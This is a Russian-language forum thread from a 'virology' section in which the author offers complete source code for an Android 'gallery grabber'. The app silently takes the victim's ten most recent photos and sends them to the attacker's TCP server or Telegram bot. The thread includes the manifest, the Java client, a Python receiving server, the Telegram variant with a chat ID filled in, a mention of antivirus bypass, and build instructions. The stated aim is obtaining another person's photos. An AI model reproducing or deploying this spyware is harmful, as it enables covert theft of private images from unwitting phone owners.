Загрузка...

Ndroid Gallery ******* - Source Code / Статья

Тема в разделе Вирусология создана пользователем Nmz 9 окт 2024. 505 просмотров

Загрузка...
  1. Nmz
    Nmz Автор темы 9 окт 2024 45 31 июл 2023
    Android Gallery ******* - Source Code

    Решил написать небольшую статью для тех, кто по каким-то неведомым мне причинам хочет получить фотографии из галереи другого человека.

    Статья не самая большая, но думаю, будет интересна.

    Как обычно, код клиента я буду писать на Java(A).

    Возможно, у некоторых возникнет вопрос, что означает "A" после Java.
    Это неофициальное обозначение изменённой Java, используемой на Android

    Код сервера в этот раз будет не на C# + WPF, а на Python, так как мне было лень использовать что-то более сложное.

    Общение между клиентом и сервером осуществляется по TCP, при этом IP и порт сервера зашиты в коде клиента.


    Начнем с кода клиента.
    В первую очередь как обычно у нас AndroidManifest.xml:

    JS
    <uses-permission android:name="android.permission.INTERNET"/>

    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
    Хочу добавить что пример с таким подходом работает на самых новых версиях Android
    как 13/14 и если вы хотите использовать код на более старых версиях 12,11,10... То вам
    нужно будет изменить логику в целом и использовать доступ к файлам -



    Целый код будет выглядеть так:

    JS
    <?xml version="1.0" encoding="utf-8"?>

    <manifest xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:tools="http://schemas.android.com/tools">


    <uses-permission android:name="android.permission.INTERNET"/>

    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />



    <application

    android:allowBackup="true"

    android:dataExtractionRules="@xml/data_extraction_rules"

    android:fullBackupContent="@xml/backup_rules"

    android:icon="@mipmap/ic_launcher"

    android:label="@string/app_name"

    android:roundIcon="@mipmap/ic_launcher_round"

    android:supportsRtl="true"

    android:theme="@style/Theme.GallGrabNMZ"

    tools:targetApi="31">

    <activity

    android:name=".MainActivity"

    android:exported="true">

    <intent-filter>

    <action android:name="android.intent.action.MAIN" />



    <category android:name="android.intent.category.LAUNCHER" />

    </intent-filter>

    </activity>

    </application>

    </manifest>
    Затем у нас код MainActivity.java с основной логикой:

    JS
    private static final int REQUEST_PERMISSIONS = 100;

    private static final String SERVER_IP = "0.0.0.0"; //Ip сервера

    private static final int SERVER_PORT = 7777; //порт

    Тут ваш ip:p сервера на который будут отправлены данные.

    JS
       if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)

    != PackageManager.PERMISSION_GRANTED) {

    ActivityCompat.requestPermissions(this,

    new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);

    } else {

    new ZipAndSendTask().execute();

    }

    }

    @Override

    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {

    super.onRequestPermissionsResult(requestCode, permissions, grantResults);

    if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0

    && grantResults[0] == PackageManager.PERMISSION_GRANTED) {



    new ZipAndSendTask().execute();

    } else {



    Log.e("MainActivity", "Разрешение не предоставлено");

    }

    }
    Проверка предоставленных разрешений.
    [IMG]


    Далее в коде будет представлена сама логика работы, но перед этим я хочу объяснить, как всё устроено.

    Сначала код запрашивает разрешение на доступ к медиаконтенту. После этого он получает 10 последних изображений из галереи
    и упаковывает их в файл .zip для удобной отправки. Затем код отправляет этот файл на сервер через TCP-соединение.

    разрешения -> получение данных -> упаковка -> отправка -> получение сервером

    Продолжим кодом который получает изображения:

    JS
    private ArrayList<String> getLastImages(int count) {

    ArrayList<String> imagePaths = new ArrayList<>();

    String[] projection = {MediaStore.Images.Media.DATA};

    Cursor cursor = getContentResolver().query(

    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,

    projection, null, null,

    MediaStore.Images.Media.DATE_ADDED + " DESC");



    if (cursor != null) {

    int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);

    while (cursor.moveToNext() && imagePaths.size() < count) {

    imagePaths.add(cursor.getString(dataIndex));

    }

    cursor.close();

    }

    return imagePaths;

    }
    Теперь код который упакует данные в .zip архив:

    JS
    private File zipImages(ArrayList<String> imagePaths) {

    try {

    File zipFile = new File(getCacheDir(), "images.zip");

    ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile));



    for (String imagePath : imagePaths) {

    File imageFile = new File(imagePath);

    FileInputStream fis = new FileInputStream(imageFile);

    ZipEntry zipEntry = new ZipEntry(imageFile.getName());

    zos.putNextEntry(zipEntry);



    byte[] buffer = new byte[1024];

    int length;

    while ((length = fis.read(buffer)) > 0) {

    zos.write(buffer, 0, length);

    }

    zos.closeEntry();

    fis.close();

    }

    zos.close();

    return zipFile;

    } catch (Exception e) {

    e.printStackTrace();

    return null;

    }

    }
    Код для отправки .zip на сервер:

    JS
    private void sendZipToServer(File zipFile) {

    try {

    Socket socket = new Socket(SERVER_IP, SERVER_PORT);

    OutputStream os = new BufferedOutputStream(socket.getOutputStream());

    FileInputStream fis = new FileInputStream(zipFile);



    byte[] buffer = new byte[1024];

    int length;

    while ((length = fis.read(buffer)) > 0) {

    os.write(buffer, 0, length);

    }



    os.flush();

    os.close();

    fis.close();

    socket.close();

    } catch (Exception e) {

    e.printStackTrace();

    }

    }

    }

    }
    И напоследок представлю код, который в самом начале вызывается и выполняет описанные выше функции.
    Этот код получает 10 последних изображений из списка:

    JS
    private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {

    @Override

    protected Void doInBackground(Void... voids) {

    try {

    ArrayList<String> imagePaths = getLastImages(10); //колво изображений

    if (!imagePaths.isEmpty()) {

    // Упаковываем

    File zipFile = zipImages(imagePaths);

    if (zipFile != null) {

    // Отправляем

    sendZipToServer(zipFile);

    }

    }

    } catch (Exception e) {

    e.printStackTrace();

    }

    return null;

    }

    На этом код клиента закончен.
    Полный код MainActivity.java:

    JS
    package xss.nmz.gallgrab_nmz;



    import android.Manifest;

    import android.content.pm.PackageManager;

    import android.database.Cursor;

    import android.os.AsyncTask;

    import android.os.Bundle;

    import android.provider.MediaStore;

    import android.util.Log;



    import androidx.annotation.NonNull;

    import androidx.appcompat.app.AppCompatActivity;

    import androidx.core.app.ActivityCompat;

    import androidx.core.content.ContextCompat;



    import java.io.BufferedOutputStream;

    import java.io.File;

    import java.io.FileInputStream;

    import java.io.FileOutputStream;

    import java.io.OutputStream;

    import java.net.Socket;

    import java.util.ArrayList;

    import java.util.zip.ZipEntry;

    import java.util.zip.ZipOutputStream;



    public class MainActivity extends AppCompatActivity {



    private static final int REQUEST_PERMISSIONS = 100;

    private static final String SERVER_IP = "";

    private static final int SERVER_PORT = ;



    @Override

    protected void onCreate(Bundle savedInstanceState) {

    super.onCreate(savedInstanceState);

    setContentView(R.layout.activity_main);



    // Проверка разрешений

    if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)

    != PackageManager.PERMISSION_GRANTED) {

    ActivityCompat.requestPermissions(this,

    new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);

    } else {

    new ZipAndSendTask().execute();

    }

    }

    @Override

    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {

    super.onRequestPermissionsResult(requestCode, permissions, grantResults);

    if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0

    && grantResults[0] == PackageManager.PERMISSION_GRANTED) {



    new ZipAndSendTask().execute();

    } else {



    Log.e("MainActivity", "Разрешение не предоставлено");

    }

    }



    private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {

    @Override

    protected Void doInBackground(Void... voids) {

    try {

    ArrayList<String> imagePaths = getLastImages(10); //колво изображений

    if (!imagePaths.isEmpty()) {

    // Упаковываем

    File zipFile = zipImages(imagePaths);

    if (zipFile != null) {

    // Отправляем

    sendZipToServer(zipFile);

    }

    }

    } catch (Exception e) {

    e.printStackTrace();

    }

    return null;

    }





    private ArrayList<String> getLastImages(int count) {

    ArrayList<String> imagePaths = new ArrayList<>();

    String[] projection = {MediaStore.Images.Media.DATA};

    Cursor cursor = getContentResolver().query(

    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,

    projection, null, null,

    MediaStore.Images.Media.DATE_ADDED + " DESC");



    if (cursor != null) {

    int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);

    while (cursor.moveToNext() && imagePaths.size() < count) {

    imagePaths.add(cursor.getString(dataIndex));

    }

    cursor.close();

    }

    return imagePaths;

    }



    // Упаковка

    private File zipImages(ArrayList<String> imagePaths) {

    try {

    File zipFile = new File(getCacheDir(), "images.zip");

    ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile));



    for (String imagePath : imagePaths) {

    File imageFile = new File(imagePath);

    FileInputStream fis = new FileInputStream(imageFile);

    ZipEntry zipEntry = new ZipEntry(imageFile.getName());

    zos.putNextEntry(zipEntry);



    byte[] buffer = new byte[1024];

    int length;

    while ((length = fis.read(buffer)) > 0) {

    zos.write(buffer, 0, length);

    }

    zos.closeEntry();

    fis.close();

    }

    zos.close();

    return zipFile;

    } catch (Exception e) {

    e.printStackTrace();

    return null;

    }

    }



    // Отправка

    private void sendZipToServer(File zipFile) {

    try {

    Socket socket = new Socket(SERVER_IP, SERVER_PORT);

    OutputStream os = new BufferedOutputStream(socket.getOutputStream());

    FileInputStream fis = new FileInputStream(zipFile);



    byte[] buffer = new byte[1024];

    int length;

    while ((length = fis.read(buffer)) > 0) {

    os.write(buffer, 0, length);

    }



    os.flush();

    os.close();

    fis.close();

    socket.close();

    } catch (Exception e) {

    e.printStackTrace();

    }

    }

    }

    }
    Теперь перейдем к простому коду сервера на Python:

    Python
    import socket



    def start_server():

    server_ip = "0.0.0.0"

    server_port = 4444

    buffer_size = 1024

    output_file = "received_images.zip"



    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:

    server_socket.bind((server_ip, server_port))

    server_socket.listen(1)

    print(f"Сервер запущен{server_ip}:{server_port}")



    conn, addr = server_socket.accept()

    with conn:

    print(f"Подключено {addr}")

    with open(output_file, "wb") as file:

    while True:

    data = conn.recv(buffer_size)

    if not data:

    break

    file.write(data)



    print(f"Файл сохранен{output_file}")



    if __name__ == "__main__":

    start_server()
    [IMG]

    [IMG]

    Сервер крайне простой без никаких фильтров и тд.
    сохраняет лог в файл received_images.zip в директории с самим собой.

    Благодарю за внимание!
    Если у вас есть какие-либо вопросы или дополнения к статье, буду рад обсудить их или помочь с пояснениями.
     
    9 окт 2024 Изменено
  2. Nmz
    Nmz Автор темы 9 окт 2024 45 31 июл 2023
    1. Nmz Автор темы
      Nmz, Samsung Knox,Xiaomi Antivirus, Google Play Protect - Bypass
  3. Nmz
    Nmz Автор темы 9 окт 2024 45 31 июл 2023
    Изменил код MainActivity.java и теперь лог приходит не на Python сервер а в Telegram
    Все что вам нужно указать в коде это ваш bot token и ваш telegram id.

    новый код: package xss.nmz.gallgrab_nmz;

    import android.Manifest;
    import android.content.pm.PackageManager;
    import android.database.Cursor;
    import android.os.AsyncTask;
    import android.os.Bundle;
    import android.provider.MediaStore;
    import android.util.Log;

    import androidx.annotation.NonNull;
    import androidx.appcompat.app.AppCompatActivity;
    import androidx.core.app.ActivityCompat;
    import androidx.core.content.ContextCompat;

    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.net.HttpURLConnection;
    import java.net.URL;
    import java.util.ArrayList;

    import okhttp3.*;

    public class MainActivity extends AppCompatActivity {

    private static final int REQUEST_PERMISSIONS = 100;
    private static final String BOT_TOKEN = "";
    private static final String CHAT_ID = "6260611316";

    Override
    protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // Проверка разрешений
    if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
    != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this,
    new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
    } else {
    new ZipAndSendTask().execute();
    }
    }

    Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
    super.onRequestPermissionsResult(requestCode, permissions, grantResults);
    if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
    && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

    new ZipAndSendTask().execute();
    } else {
    Log.e("MainActivity", "Разрешение не предоставлено");
    }
    }

    private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
    Override
    protected Void doInBackground(Void... voids) {
    try {
    ArrayList<String> imagePaths = getLastImages(10); // количество изображений
    if (!imagePaths.isEmpty()) {
    // Отправляем изображения
    for (String imagePath : imagePaths) {
    File imageFile = new File(imagePath);
    sendImageToTelegram(imageFile);
    }
    }
    } catch (Exception e) {
    e.printStackTrace();
    }
    return null;
    }

    private ArrayList<String> getLastImages(int count) {
    ArrayList<String> imagePaths = new ArrayList<>();
    String[] projection = {MediaStore.Images.Media.DATA};
    Cursor cursor = getContentResolver().query(
    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
    projection, null, null,
    MediaStore.Images.Media.DATE_ADDED + " DESC");

    if (cursor != null) {
    int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
    while (cursor.moveToNext() && imagePaths.size() < count) {
    imagePaths.add(cursor.getString(dataIndex));
    }
    cursor.close();
    }
    return imagePaths;
    }

    // Отправка изображения в Telegram
    private void sendImageToTelegram(File imageFile) {
    OkHttpClient client = new OkHttpClient();
    String url = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendDocument";

    RequestBody requestBody = new MultipartBody.Builder()
    .setType(MultipartBody.FORM)
    .addFormDataPart("chat_id", CHAT_ID)
    .addFormDataPart("document", imageFile.getName(),
    RequestBody.create(imageFile, MediaType.parse("application/octet-stream")))
    .build();

    Request request = new Request.Builder()
    .url(url)
    .post(requestBody)
    .build();

    try (Response response = client.newCall(request).execute()) {
    if (!response.isSuccessful()) {
    throw new IOException("Unexpected code " + response);
    }
    Log.d("MainActivity", "Изображение отправлено успешно");
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    }
    }
     
  4. Sergio_Marquina
    прикольно, но не врубаюсь как установить :ehh:
     
    1. Nmz Автор темы
      Sergio_Marquina, установи AndroidStudio и создай проект затем в MainActivity.java вставь код который я отправил выше и собери проект через Build -> Generate Bundle APK
Top